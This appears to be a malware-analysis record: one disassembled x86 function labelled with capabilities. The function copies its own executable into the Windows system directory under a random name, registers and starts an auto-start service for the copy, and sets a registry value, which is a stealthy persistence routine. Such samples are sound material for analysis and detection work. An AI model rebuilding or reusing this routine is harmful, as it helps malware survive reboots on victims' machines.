Function at 0x41462f
Capabilities:
Copy file
Create service
Get common file path
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405960
push 0x426f86
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffc88
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x328]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x220]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x220]
push ecx
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x414788
push 0x1a
call fcn.00414109
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00414109
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00414109
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00414109
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00414109
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00414109
add esp, 4
add eax, 0x61
push eax
push 0x40347c
lea edx, [ebp - 0x380]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
push 0x403490
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
lea ecx, [ebp - 0x380]
push ecx
lea edx, [ebp - 0x220]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
push 0
lea edx, [ebp - 0x328]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [0x4296e8], 1
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x4147d0
jmp 0x414917
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x328]
push edx
push 0
push 2
push 0x110
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x32c]
push eax
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], 0x4030fa
lea ecx, [ebp - 0x384]
push ecx
push 1
mov edx, dword [ebp - 0x330]
push edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov eax, dword [ebp - 0x388]
push eax
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x330], 0
jne 0x41489b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x41489b
push 0xf01ff
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0
jne 0x41488a
jmp 0x414917
push 0
push 0
mov eax, dword [ebp - 0x330]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
mov ecx, dword [ebp - 0x330]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4148b2
jmp 0x414917
push 0x403494
lea edx, [ebp - 0x11c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x11c]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x11c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp + 0x10]
push edx
push 1
push 0
push 0x4034b8
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.00414925
jmp 0x414968
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret